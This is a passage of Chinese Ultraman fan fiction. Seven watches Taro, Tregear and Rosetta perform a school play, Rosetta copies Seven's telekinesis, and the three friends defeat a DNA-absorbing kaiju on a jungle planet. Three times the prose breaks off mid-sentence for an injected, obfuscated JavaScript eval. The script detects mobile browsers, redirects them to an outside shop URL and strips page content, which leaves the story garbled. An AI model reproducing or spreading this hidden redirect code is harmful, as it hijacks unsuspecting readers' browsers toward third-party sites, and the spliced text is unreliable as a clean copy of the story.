真是个麻烦的表弟。赛文面对那张和自己相似的红族面容,最后还是在泰罗的撒娇大法面前败下阵来。他的母亲是玛丽军长的姐妹,赛文在失去母亲后被大队长收养。离开赛文一族的居住地,搬到了泰罗的家里。他几乎是看着泰罗出生,长大。从一个小小的光团子变成现在这个活泼健气小奥。也许是有着一层血缘关系的原因,泰罗特别崇拜这个和自己长得相似又很能打的表哥,还不会说话的时候就哭着要玩赛文的头镖。赛文实在是拿这个小孩没办法,他按住泰罗的脑袋:“我最近在忙着准备行星观测局的志愿,不是故意敷衍你。” “所以赛文哥哥会去吗?会去吧?”泰罗继续用六角形的金色眼灯发射星星,“我有努力地准备了,绝对会表现得超帅气的!” “……啧,好吧。” “好耶!” 这就是为什么他现在坐在一堆家长中间,听见大人们互相交流炫耀自己家的小孩。大队长和玛丽军长坐在赛文身边,用欣慰慈爱的目光看着光之国的幼苗在舞台上载歌载舞。终于等到泰罗准备的节目,赛文叹气着掏出终端,准备拍一点泰罗的黑历史回去填充玛丽妈妈的家庭相册,想必成年后的泰罗看见这些高清黑历史一定会哭着求他删掉吧。 “下一个节目是由泰罗、托雷基亚、罗塞塔带来的【英雄物语】。” 舞台上红色的幕布拉开了,披着红色小斗篷的泰罗和托雷基亚登场。他们摆了一个帅气(自认为)的姿势,旁白随着英雄登场响起:“很久很久以前,有一个富饶的国家,这个国家有一个美丽的公主。公主被很坏的怪兽抓走了,于是两名英雄踏上了拯救公主的道路。” “啊,是那个孩子啊。”玛丽好像想起了什么,她还记得佩卡抱着那个蓝色的小奥来银十字求医,没想到那个孩子成为了泰罗的朋友。真好啊,她和肯抚育的小小太阳也能照亮其他孩子的世界,这真是最好不过的事情了。 “英雄们跨过高山和大海。”舞台的背景开始放过场图,一蓝一红两位勇者对视一眼,手拉着手向前走,表现出正在寻找公主的样子。 “历经千辛万苦,他们在怪兽的巢穴里面找到了美丽的公主。”一束光打在舞台的另外一边,披着白色披风的公主登场。她跪坐在地上,随着灯光抬起头。白色的角翼轻轻颤动,一副柔弱又可怜的样子。 赛文听见身后有人轻轻“哇”了一声。很低的交谈声传来:“这个孩子的真漂亮啊,接下来,应该就是英雄消灭怪兽的戏份了吧?”“怪兽呢,什么时候登场?” “公主,不要害怕,我们来救你了!”红色的英雄斩开黑暗,蓝色的英雄单膝下跪,握住公主的手。白色的公主怯弱地说:“谢谢你们来救我。” “就这样,英雄们拯救了公主——”旁白拉长了声音。 嗯?就这样结束了吗?赛文有点疑惑。 “——吗?”旁白带着恶作剧成功的笑意接着说。白色的公主拉住蓝色的英雄的手,慢慢地说:“但是你们来得太慢,又太晚。”她把蓝色的勇者甩开,五颜六色的灯光急促地闪烁,光怪陆离又绮丽绚烂,最后一道稳定的光束打在公主身上,白色的公主把披风翻过来穿上,变成了黑色的怪兽。 “原来这里没有需要拯救的公主,只有一个怪兽。” 黑色的怪兽和红色、蓝色的英雄战斗在一起。小学生还没学到什么像模像样的战斗方式,比起决斗更像是跳舞。勇者们挥舞着刀剑,黑色的怪兽轻盈得像一只蝴蝶在刀光剑影中翩迁,脚步轻盈,衣角翻飞。旁白继续补充背景设定:“很久很久有一个富饶的国家,这个国家里有一个美丽的公主。后来一只很坏的怪兽降临,它附身公主毁灭了这个国家,公主的怨念与怪兽融合,公主变成了很坏的怪兽。” 怪不得泰罗说努力地排练过了,原来是这样的故事。赛文稍微提起一点兴趣,他认真地看着,红族敏锐的听觉捕捉到一声细微的杂音,来自舞台上方。 或许是刚才转得太过狂野,舞台的探照灯松动,一盏灯就要掉下来。距离灯更近的演员们也注意到了,托雷基亚想也没想,扑过去推开罗塞塔。他知道罗塞塔的体质是他们三个人之中最差的,甚至没有达到蓝族标准线。她就算反应过来也躲不开灯的。他抱着罗塞塔倒在舞台上,罗塞塔的目光轻轻从观众席上划过,用心灵感应告诉托雷基亚:“安全了,有人用奥特念力固定了舞台灯。” 但是托雷基亚来这么一出把幕后的旁白给干沉默了,不明真相的旁白想了想试图找补:“呃……公主……怪兽用邪恶力量控制住了蓝色勇者。红色勇者决定打到怪兽,救回同伴!” 同样被吓了一跳的泰罗被拉进三人小群:“你们没事吧?我们还演吗?” “没什么问题,我们继续吧。”托雷基亚说。 泰罗继续回复:“结果托雷基亚还是拿到了公主剧本啊,放心,接下来我会用我们友谊的羁绊救回你的。但是我该说什么词?” “不用这么麻烦,泰罗,等一下我直接过来送,你和托雷基亚就不用对戏了。”罗赛塔一边用心灵感应说,一边冲上去挡在托雷基亚身前,被泰罗用伸缩剑戳了一下。浮夸地倒下,托雷基亚会意,抱着罗塞塔开始假哭:“为什么?我不是你的棋子吗?为什么要为了我死掉?” “哼,属于我的一切都失去了,我只剩下我的骑士……”黑色的怪兽看着蓝色的勇者,随后移开了视线。她傲慢地开口,强撑着曾经的骄傲:“恭喜你们啊,英雄,你们用爱和正义打败了怪兽,成王败寇,我再无话可说。” 罗塞塔开始躺尸,黑色的披风翻了一面,像是雪盖在她的身上。黑色的怪兽又变回了白色的公主。 死去的到底是怪兽还是公主呢?这个问题再也没有答案。 “——就这样,英雄们成功打败了很坏的怪兽。”旁白看着暴走的剧本,底气不足地喊出了结局。帷幕拉上又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648340|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉开,三个孩子站在一起,手拉手地向观众鞠躬。泰罗骄傲地挺起胸膛,托雷基亚站在他的左边,有点忐忑地看着观众的反应,罗赛塔站在泰罗右边,姿态优雅地提起半黑半白的披风。片刻之后,舞台下传来热烈的掌声。 “这真是一个有趣的故事。”“是啊是啊。” 赛文轻轻呼出一口气,关掉了录像。泰罗的初次演出在他的努力下圆满结束了,他控制着坏掉的舞台灯飘向后台。其实不少成年奥都注意到了舞台装置的故障,却不是谁都有赛文一族出色的奥特念力,况且赛文离舞台最近,反应最快。肯赞许地向赛文点点头:“做的不错,赛文。”玛丽微笑着说:“幸亏有你在,没有人受伤真是太好了。”“这不算什么。”赛文不太习惯接受直白的夸赞,他正处于青春期,觉得自己已经不是泰罗那样学会吃饭都能被夸夸的小孩了。他把视线投向舞台上,台上的泰罗看见表哥,兴奋地朝他挥手。赛文点了点头回应他,他看见那个扮演怪兽的漂亮蓝族女孩也在看他。名叫罗塞塔的女孩和泰罗耳语几句,谢幕结束,三个演员走下台。泰罗拉着托雷基亚和罗塞塔的手走过来:“爸爸,妈妈,赛文哥哥!这是托雷基亚,这是罗塞塔,我们是超级要好的朋友!” “大队长好,玛丽军长好。”托雷基亚有点紧张地说。罗塞塔跟着向大人问好,注意力放在赛文身上:“你好,赛文前辈。谢谢你救了我,你的念力真厉害,我想向你学习。” “奥特念力在之后的课程,你只是还没有学到。不需要心急。”赛文不想带小孩,而且还是看起来就脆脆的小孩。罗塞塔没有放弃:“我听说赛文一族的念力是最厉害的,可以让我见识一下吗?” 这句话要是其他人说,那大概是一种挑衅。可是一个小女孩细声细气地仰着头看你,用亮亮的眼睛盯着你,那就是对前辈的崇拜了。泰罗还在一边助攻:“对!赛文哥哥超厉害的,可以用念力控制头镖“咻——”地一下飞出去,”他急着炫耀自家哥哥有多好,也用亮亮的眼灯盯着赛文。托雷基亚看着两个小伙伴,迟疑之后加入队形。 今天不是泰罗的文艺汇演吗?为什么变成我给小孩表演了?泰罗这么崇拜自己,赛文有点自豪又有点羞耻。他不自在地说:“头镖是很锋利的,你们想看的话和我去训练场。”玛丽和肯看着活泼的孩子们,决定把时间都留给年轻人:“我们也要回去工作了,赛文,孩子们就交给你了。” 大人一走,赛文明显轻松不少。他带着三个小萝卜头找了一个无人的训练台,集中注意力,双手剑指对着头镖。三个小朋友只看见一道曼妙的银光划过,训练用的靶子被切成两半。 “好厉害……”托雷基亚感叹道,把目光移到了泰罗的头顶。泰罗捂着自己的头部说:“别看我,我做不到啦,我的头镖和背鳍长在一起了,没办法发射出去。” 罗塞塔开始偷师。奥特念力的理论基础她已经学过了,这是她第一次在实战中感受到奥特念力的威力。或许是曾经身为【观众】的缘故,世界在她的面前一览无遗,像是被翻开的书一样可以随意阅读。很奇妙,有一种特殊的感觉在赛文使用念力的时候就出现了,就像什么东西掉进水里,湖水被排开产生波纹。她能感受到空间中有一根线系着头镖,银色的头镖看似变幻莫测,但是她可以从空间的波动起伏中反向预测线的轨迹。其他人会有这种感觉吗?罗塞塔犹豫着,模仿赛文使用了奥特念力。她的角翼开始发光,两根最长的飞羽从两边头翼飘落,像燕子在花间穿行,灵巧地飞过赛文的眼前,最后温顺地回到罗塞塔的指尖,稳定地做简谐运动旋转。 “这是什么?”泰罗被吸引了,哒哒哒地跑过来看那两只银白的飞羽。托雷基亚好奇地伸手戳了一下羽毛,原本柔软的羽毛在贯注了能量后变得坚硬,却又保持柔韧的特性。“你学会了头镖的使用方式,”赛文惊讶地说,第一次认认真真地看着罗塞塔:“虽然很稚嫩,这的确是赛文一族的念力运作模式,这是怎么做到的?”赛文开始思考,罗塞塔是不是祖上有个赛文家族的成员。 “我看见了,模仿,然后就复刻出来了。仅此而已。” “啊?”泰罗听傻了,“看见就能学会,罗塞塔,你果然是天才来的吧?托雷基亚,你们蓝族都是这么厉害的吗?” 这次轮到托雷基亚捂着头了,他说:“不要产生对蓝族的奇怪印象啊,我做不到!” “你很有天赋,罗塞塔。”赛文蹲在罗塞塔面前,注视着她的眼睛说,“如果你在奥特念力的修行中有什么疑问,可以来找我。” “好哦,赛文哥哥。”罗塞塔学着泰罗的称呼乖巧地回答。 “咳咳,你叫我赛文就可以了。” 赛文的尖耳朵有点发红,可爱的妹妹和闹腾的弟弟就是不一样。他忽然有些理解佐菲为什么总是用肉麻的目光看他和泰罗了,有些小孩……确实又机灵又可爱。 5. 三人小队的奇妙冒险 (5) 蓝色的少女站在舷窗前,隔着方形的玻璃幕墙注视宇宙。 黑色是由光谱上所有色彩混合成的,所以当黑暗被照亮的时候,光晕的边缘会散射出绚烂的虹彩。宇宙黑暗而冰冷,银白的星子犹如大头钉扎在黑天鹅绒的幕布上。群星逶迤,闪烁钻石般的微光,如果宇宙是一位绝世美人,星辰就是她额间妩媚的花钿,飘渺的星云是她脸颊飞起的霞红,流淌的星河是她抛出的飘带。天地万象无时无刻不在运动着,犹如美人在台上跳起胡旋舞,万千生命都成为座下的文人雅客,合该为她送上满堂喝彩。 罗塞塔对于天文学的研究来自光之国的义务教育。但比起那些数字编号,她更愿意用曾经地球上更富含诗意的名字称呼那些星星:紫微,北斗,织女,天狼,北落师门…… 万古光凝垂露影,浮生一渡太虚舟。 “罗塞塔,你在看星星吗?”泰罗欢快地跑过来,挤到罗塞塔身边。玻璃窗上的蓝色倒影边多了一抹鲜艳的红色,“无论看多少次,星空就是很漂亮啊!”他忽然左手握拳,锤在右掌上,“对了,托雷基亚写了一首关于星星的诗,我念给你听!”泰罗酝酿了一下,深情并茂地开始朗诵: “黑暗漫漫常相望,星光不曾入眼眸。 太阳之子伴身边,散我无尽恐与愁。 ——愿君与我共婵娟。” 泰罗的声音很大,罗塞塔相信正在驾驶飞船的托雷基亚肯定也听见了。她沉吟了一下,转过头问泰罗:“你明白这首诗写的是什么吗?” 托雷基亚本来想抱怨泰罗不要到处读他写的诗,听见罗塞塔的问题,把到嘴边的话咽下,偷偷期待起泰罗的回答。 “我国文成绩很好的,当然看懂了!”泰罗自豪地挺起胸膛,“就是在夸我像太阳一样,只要我和托雷在一起,我们就不害怕黑暗的宇宙。是这样对吧?” “对,托雷基亚希望和你一直在一起。” “我们可是最好的朋友,当然要一辈子在一起了!” 天然属性的芋头真可怕,很高兴你对友情有自己的看法,你应该去木叶村和千手柱间坐一桌。 罗塞塔看了一眼托雷基亚,泰罗的直男发言已经成功把他哄好了,红着脸喜滋滋地开宇宙飞船。算了,他们现在还是未成年,也不应该早恋。她点了点头,跳过这个胃疼的话题:“泰罗,和我说一说行星迪迦·德祐的情报吧。” 早上,罗塞塔和托雷基亚正在图书馆写结课作业的时候,泰罗跑过来邀请他们一起去冒险,去行星迪迦·德祐上调查新出现的未知怪兽。罗塞塔刚刚听见的时候还以为猎户座打过来了,然后才反应过来,迪迦除了指代某位三千万岁的睡美人还有数字“3”的意思。这个星球的名字就是“在德祐星系的第三颗行星”。托雷基亚一向无法拒绝泰罗,只纠结了不到一秒就倒戈了,然后两个人一脸期待地看向罗塞塔。罗塞塔知道这次行星冒险的结局有惊无险,泰罗学会了爆种,托雷基亚收获了混沌遗迹的线索。他们不像去打怪兽的,倒像宗门骄子去修行秘境扫荡进货去了。罗塞塔点点头,说我也去,但是你们稍微等一下,我要准备一点东西。 三人小队下午在奥特港口集合,在港口扫了一辆共享单车……不对,是宇宙飞船出发了。泰罗和托雷基亚经常出去探险,小小年纪已经有千年驾龄。泰罗是队里的主要战斗力,托雷基亚是负责向导的后勤,而刚加入冒险小队的罗塞塔,目前地位是吉祥物。托雷基亚按照星图的导航,成功在夜晚带着小伙伴降临在行星德佑上。这个星系的恒星光线性质类似等离子火花塔,可以支持奥特曼长时间以本体活动。但此刻太阳已经落下,出于安全考虑,三人决定在宇宙飞船上睡一觉,明天早上再去探索。 托雷基亚把宇宙飞船停在一座悬崖的制高点,这是离天空最近的地方,万一有意外可以迅速离开。然后他们挤在驾驶仓内,开启了睡前的夜谈。本来泰罗和托雷基亚把罗塞塔挤在中间,这样出现危险他们可以一起保护罗塞塔。罗塞塔躺了一会,左边热右边冷的,她坐起身体,“我不要睡在这里,泰罗,你睡中间。” “诶?晚上要是有敌人怎么办?” “敌人要是能打进驾驶仓,这艘飞船也多半被破坏了,我们还是跑不掉。要是有危险的话,”罗塞塔打开带来的行李箱,“我们在飞船外面设置一些陷阱警戒。” 她从箱子里掏出了便携式中微子扫描塔,掏出了重力传感破片地雷,掏出了自律型浮游炮阵列,掏出了微型聚变脉冲枪,掏出了诱导□□,掏出了…… 泰罗和托雷基亚看呆了,就算是未成年的光之巨人,也可以凭借身体素质在宇宙横着走,没有人会出门带上一整个军火库。更何况在他们心里,这场冒险的性质接近和朋友出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648341|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去野营,亲近一下大自然。谁家好人出去玩包里藏八个蛋啊? “我觉得够了够了,”泰罗按住罗塞塔的手,诚恳地说:“罗塞塔,我会保护好你的,你不用害怕。”托雷基亚无奈地扶住额头:“你早上就是去准备这些东西了?探测器我可以理解,但是那些爆炸性武器是怎么回事?在光之国申请杀伤性武器要通过宇宙警备队和科技局的联合批准吧?” “这些都是我用实验课剩下的材料自己造的。”罗塞塔推开泰罗的手,继续在箱子里掏,她掏出了一床被子。这是最正常的东西,但是和那一堆杀伤力武器放在一起,又是如此的不正常。三人小队最后还是一起去飞船外面布置好了陷阱。然后一起躺进飞船的驾驶仓,盖上了一床大被子。 泰罗的身体好热啊,托雷基亚感受着身边的体温,明白罗塞塔为什么要坚持换位置了。就像名字一样,泰罗是太阳的孩子,慷慨地散发着光芒和温度照亮所有生命。可是他太亮了,如果我一直飞向太阳,是不是会被他融化烧毁呢?蓝色的少年忧郁地想着,却不肯离得更远一些。他的手指抽动了一下,想要去触碰红族少年的身体,但最后还是收回了手,熄灭眼灯入睡。罗塞塔像一只毛毛虫拱来拱去,终于找到一个温度刚刚好的地方,安详地转过头睡了。泰罗和她头上都长着角,如果不侧过身体,他们头上的角就要磕到一起,保持合适的距离对于他们这种头上花里胡哨的奥特曼是很重要的。 泰罗躺在中间,两个蓝族较低的体温就像空调一样,非常凉快。他转过头去看罗塞塔的睡颜,少女暗淡的眼灯被垂下的角翼盖住,只露出形状优美的下半张脸。银白的角羽轻轻起伏,宛若白鸽短暂停留在圣母像的发间。罗塞塔蜷缩着身体,像是孩子沉睡在最初的羊水中,脆弱又柔软。谁能忍住不用双手去拢住那只白鸽呢?他又转到另一边去看托雷基亚,少年精巧的头冠反射着头顶天窗的微光,眼灯的形状像是晨雾笼罩的河畔盛开的莲花花瓣,他的面容沉静而秀丽,眉眼清澈,好像有白鹿涉过秋水,蹦蹦跳跳地闯进他的心里。泰罗默默数着托雷基亚头上有几个尖尖,满心的幸福和快乐。天啊,这么漂亮的蓝族朋友,我居然有两个!我一定是光之国最幸运的红族了。他这么想着,美美地入睡了。 孩子们在天穹之下安然入睡,在他们的上方,亘古不变的群星默默轮转着,温柔地洒下来自亿万前的光辉。 6. 那我问你,下副本为什么不带奶 (6) 长着一对牛角的红族少年握着通讯器走在雨林之中。德佑星球上的气候类似地球上的热带雨林气候,雨水丰沛,温暖如春,非常适合有机生命的成长。潮湿的林雾在叶隙间缓缓流动,阳光被枝叶切碎,千万缕金丝落进乳白的雾中衍射出丁达尔效应。脚下的岩石长满青苔,倒下的树木上长着艳丽的蘑菇,附生兰与蕨类攀附着古树生长,垂下的藤蔓轻轻摇晃,一只红色眼睛的树蛙跳过。空气仿佛也是浓绿的,调和着腐殖土的腥气与野花的馥郁,慢慢凝结成绿色的水珠,顺着阔叶的叶脉滴落。 “泰罗,这里的生命反应太多了,你有发现什么吗?” “目前没有看见危险的地方。之前收到的情报是人们在洞窟里看见了未确认生命体,我觉得我应该要到悬崖下面的洞穴里去。” 泰罗一边说一边走,托雷基亚和罗塞塔坐在驾驶仓内,看着屏幕上属于泰罗的绿色光点在慢慢移动。有点像在玩自走棋,托雷基亚是玩家,泰罗是他使用的角色,罗塞塔是在看朋友玩游戏的观众。 “好的,我规划好路线了,泰罗,你按照我的指引走。” “我已经到达洞口了,这里有很多条岔路,还是没有看见怪兽。角落里藏着一些原生生物,有点像螃蟹又有点像蝙蝠……我摸摸,它们看起来很胆小温顺呢。” “不要乱摸奇怪的生物,”罗塞塔加入通讯,严肃地说:“说不定它们身上携带了奇怪的病毒。万一它合起来变身巨大怪兽怎么办?泰罗,我建议你把遇到的生物通通消灭,最好烧得连灰都不剩。” “不用这么紧张啦,罗塞塔。”泰罗和一只小蝙蝠面面相觑,小蝙蝠弱弱地发出一声“吱——”,被泰罗用手指戳了一下,慢悠悠地飞走了。“他们没有威胁的,我们不应该轻易夺走其他生物的生命。” 这才哪到哪,罗塞塔想,可是这里真的有怪兽。如果是我的话,我会把所有的有机物,无机物全扬了,就算是路过的蚯蚓也要竖着切两半。探索是不可能探索的,我为什么要在怪兽的主场打架?我会开着吉普车把洞穴创开,送怪兽一套炸弹大礼包。我们跑团刁民的基操是这样的。 “啊,我看到一个通道,”红族莽子不假思索,“我进去了!哇。里面空间好大,像是一个遗迹,脚底下的泥土是粉红色的……这是什么?!” 泰罗,信号丢失。 “泰罗?泰罗!”托雷基亚对着通讯器喊了两声,开始慌乱焦急起来。聪明的头脑已经无法运转,满心满眼都是可能遇难的泰罗。他来回转了两圈,下定决心,“我要进去找泰罗!” “那我呢?”罗塞塔仰着头问,用大而明亮的眼灯看着托雷基亚,“托雷基亚要把我一个人扔在这里吗?” 其实他只要再等一会,泰罗就能自己跑出来。泰罗打不过里面名叫迦格杰的怪兽,托雷基亚现在进去更是纯送。他完完全全就是关心则乱了。蓝族的八百个心眼子遇到泰罗,全部失灵。 托雷基亚,你完蛋了,你这辈子就是栽在泰罗手里啦。 听见罗塞塔的问题,托雷基亚终于冷静了一点。对啊,既然这颗星球上存在危险,怎么能把最脆弱的罗塞塔一个人丢下。可是泰罗他……托雷基亚像一个生了二胎的家长纠结起来,他既不能放生好大儿泰罗,又不能让小女儿罗塞塔变成留守儿童。一碗水是怎么端也端不平的,托雷基亚痛苦地想,奥特曼不是神,必须要在选择面前做出取舍。他深吸一口气,按住罗塞塔的肩膀:“罗塞塔,我必须要去找泰罗。你留在这里,我已经给飞船设定了自动巡航,如果到了明天我和泰罗还没有回来,你就开启飞船回光之国。” 罗塞塔根本不奇怪托雷基亚的选择,她从行李箱中掏出武器,塞给托雷基亚:“去吧,去救泰罗。我不会一个人逃跑的,我和你一起。这一次我做你的向导,出发吧,蓝色的勇者。” 托雷基亚果断地接过武器和通讯器,感谢的话还是回来在再说吧,他想,离开飞船冲向泰罗失联的地点。 “托雷基亚,你相信我吗?” 通讯器里传来了罗塞塔的声音,她的声音很冷静,像冬天的霜雪。托雷基亚一边赶路一边回答:“当然了,罗塞塔,为什么突然说这个?” “我希望你接下来能够听从我的指挥。我和你一样,都希望泰罗平安归来,所以,请你不要冲动。” “好,罗塞塔,我相信你的才智。” 托雷基亚终于找到了泰罗失联的地方,前方是一个洞口。罗塞塔在通讯器里指挥:“不要要进去,装备箱里有□□,先丢一个进去试探一下。” □□是伤害不了光之巨人的,托雷基亚不担心误伤泰罗,于是按照指示向漆黑的洞穴丢了一个□□。火焰熊熊燃烧,地下粉红色的泥土也在燃烧!奇特的声波在空气中震荡,泥土滚落,无数粉色水蛭扭曲融合,组成一只又像蝙蝠又像螃蟹的怪兽。是迦格杰!它身披螃蟹一样的蟹甲,背后长着蝙蝠的翅膀,朝托雷基亚冲过来。怪兽在这里,泰罗呢?托雷基亚咬着牙,试探性地发射了光线,光线破开怪兽的甲壳,从中涌出粉色的不定形物质,伤口下一秒就恢复。托雷基亚用随身携带的扫描仪对准那些物质探测了一下,向罗塞塔传递信息:“那些物质是类似水蛭的东西,它会吸收生物的DNA并且融合,就是它把螃蟹和蝙蝠融合成了怪兽迦格杰。不妙,如果让它获得了奥特曼的DNA,恐怕会制造出更恐怖的东西!” 一架无人机飞在上空,是罗塞塔放出了“眼睛”观察战场。她的声音没有丝毫波澜:“DNA在八十度以上就会变性,托雷,在迦格杰身上制造一个伤口,对伤口点火试一下。” 托雷基亚又使用了光线,火焰确实有效果。迦格杰嘶鸣一声,抛弃了着火的部分身体。托雷基亚刚想乘胜追击,就看见泥土中更多的螃蟹被粉红水蛭吸收,补充到迦格杰身体中。 “真麻烦啊,弱点是火。但是血条不仅仅厚还自回血,早知道应该把这里所有的活物都清理掉,迦格杰就没有血包吸了。”罗塞塔感叹了一句,专心开始指挥:“托雷,后退。不要被粘液攻击到。” “向左九点钟跑。” “后跳。” “不要躲,攻击它的翅膀。” 罗塞塔开始玩第五人格,逃生者托雷基亚一边溜监管者一边找泰罗。他在洞里转了一圈,没找到泰罗,找到了第二只迦格杰。尽管没有什么能量消耗,一直闪躲也让托雷基亚体力不支。二打一,真是优秀的匹配机制,罗塞塔坐不住了,她站起身。 通讯器忽然传来了泰罗的声音:“这里是泰罗,能听见吗?” 罗塞塔坐下去。 “泰罗!你在哪里?” “我在洞窟里被迦格杰袭击,我成功跑出来了。怪兽想要袭击这里的村庄,我们必须消灭怪兽!托雷基亚,你在哪里?” “我在洞窟附近,这里还有两只迦格杰。泰罗,不能被粉色的物质碰到,怪兽想要我们的DNA,它的弱点是火焰!” 托雷基亚喘着气说,彩色计时器开始闪烁:“我可能坚持不了多久了。” 罗塞塔站起来。 “我这就去救你!” 罗塞塔坐下去。 “你先去救村民,”托雷基亚说,“泰罗,奥特曼不是神明。面对抉择的时候,我们必须做出选择。” ”不许说这种话!你要我牺牲你吗?我做不到,我要救那些人,也要救你!” “停一下。”罗塞塔打断了这一对苦命鸳鸯,“听我说,泰罗,你把迦格杰引开,朝托雷基亚的方向去。你们带着三只迦格杰聚集在一起。我观察了一下,迦格杰的恢复是有上限的,他们不能无限制合成。三只迦格杰是从同一个地方出现的,但是它们并没有融为一体,变得更强大。现在的体型就是水蛭聚合体所能达到的极限了。你们把怪兽聚到一起后,托雷基亚负责拉仇恨,泰罗进行攻击。我会在远处用奥特念力和光线支援你们。收到请回复。” “罗塞塔?”泰罗的计时器也开始闪烁,他重重地点了一下头,“好,我听你的。”“我也是。” 罗塞塔站起来,离开了飞船。 看得见。 就算站在数千米外,也能够看得清清楚楚。 罗塞塔藏在阴影中,放出奥特念力。她看见泰罗和托雷基亚互相支持,苦苦支撑。看见三只迦格杰在她的指挥下渐渐被驱赶成一条直线。时间紧迫,只有一次机会,她对自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648342|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己说。不要紧张,把所有的情感和意志都灌注到念力中,固定住怪兽,然后只需要瞄准。她摆出起手式,仿佛拉着一张无形的弓弦。角翼在发光,能量在聚集,调整姿势,修正回路。然后轻轻地,松开手。 银白色的螺旋光线像一颗飞星,划破空间,沿着命定的轨迹飞向终点。然后—— 死亡降临。 “低头。” 听见罗塞塔的指挥,托雷基亚和泰罗的身体已经习惯性地顺从了。他们低头,下一秒一道恐怖的白色光炮贯穿三只迦格杰的身体,怪兽们的整个躯干被轰击出一个巨大的圆形空洞,这部分身体被高温汽化,空气中弥漫着蛋白质被烧焦和氧气被电离成臭氧的臭味。迦格杰坚硬的甲壳好像变成一张轻薄的纸张,被火焰一燎就变成灰烬。残缺的怪兽肢块扑通一声倒地,粉色的水蛭还挣扎地想要修复身体,但是它缺失的部分实在太多,修补起来和重新孕育一个没有区别。就连土地和树林都被那道光炮贯穿了,如果从这颗星球上方看,有一条巨大的黑色直线横跨千里之远,就像上帝用铅笔在大地上划下痕迹,而罗塞塔就踏着这条黑色的“地毯”,向他们缓缓走来。真美啊,像是降下天火的白色天使。托雷基亚和泰罗对视一眼,都松了一口气。 “站起来,”天使说,“经常打怪的奥特曼都应该记住,杀完怪要补刀。砍头分尸都不够,最好要把敌人分解到分子级别。泰罗,你去把他们都烧成灰烬。怪兽老家也不能放过,休息一下,我们回到那个洞窟扫荡一遍,听到了吗?” “知道了——” 托雷基亚和泰罗应声道,把怪兽的残躯烧成骨灰才躺下休息。泰罗心有余悸地说:“罗塞塔,幸好有你在,不然今天我们都回不去了。那道光炮好酷啊,你原来这么厉害呀。” “如果你平时也一直在奥特天线里积蓄能量,然后一口气放出来,你也可以做到的。但是今天只能发射一次,现在我没有能量了。要是再有什么意外,我们全都要完蛋。”罗塞塔用手指了指泰罗、托雷基亚和自己:“经过这次事件,我发现一件很重要的事情。” “是什么?罗塞塔,我觉得你已经做得很好了。” “我们这个队伍里面,居然没有一个治疗!”罗塞塔有点焦虑。 “好像是哦。不过银十字军是后勤部队,宇宙警备队出任务的时候也不会奢侈到每队配一个医生呀。”泰罗说。 “罗塞塔说的有道理,”托雷基亚想了想说,“要是在我们都受伤的时候有敌人怎么办?” “不行,不带奶妈下本我不安心。菜刀队迟早翻车。”罗塞塔小声念了几句只有自己听见的怪话,最后宣布:“我决定了,回去我就去银十字进修。这样,你们在前面战斗,我就可以在后方支援你们了。” “真的吗?”泰罗感动地眼泪汪汪。 如果有一个女孩子甘心成为你的影子,愿意将自己的未来都投进辅佐你的道路,从此守护你的生命和光辉,谁能不为此心神摇曳。光之国是盛赞英雄的国度,大家都向往战士的英姿,银十字军当然很重要,可是谁会记住玛丽军长之外的名字呢?就连托雷基亚也被震住了,他想,这是你所追求的理想吗?罗塞塔,你明明是锋芒毕露的天才,毫无疑问,你会在科技局大展身手,但是为了我们,你却愿意从头开始学习另外一个领域的东西。 “这样真的好吗?”托雷基亚轻声问,“你之前对医疗不感兴趣的吧?做自己不喜欢的事情会很痛苦的。” “没有关系。”罗塞塔说,“谈不上喜欢与否,因为我不想看见你们受伤,因为我想和你们一起去冒险,所以我会好好学习医术的。” “那说好了,我们三个人要一直一直在一起!”泰罗休息好了,站起来扑到托雷基亚身上。他欢快地拉过罗塞塔,把两个朋友都抱在怀里,“我们一起冒险,一起战斗,永远不分开!” 少年们如此许下了约定,纵然往后经年物是人非。此时此刻,这句孩子气的约定依旧如火花塔一样熠熠生辉。 泰罗,你是真正的英雄。而罗塞塔是愿意为了朋友奉上人生的温柔孩子,而我呢,我又算什么?我有成为英雄的资质吗?我能像罗塞塔一样,为了一个诺言赌上一切吗? 7. 电车大怪兽和正义的伙伴 (7) 三人小队仔仔细细地把迦格杰的巢穴扫荡了一遍,烧掉所有粉色的水蛭状生物。他们发现这里其实是一个古代的遗迹,石壁上刻着未知的文字。托雷基亚和罗塞塔对未知的东西都很感兴趣,他们扫描所有的文字,打算回去查阅古籍破译。泰罗看着这些奇怪的文字,感觉在看天书:“所以上面有写怪兽是怎么来的吗?” 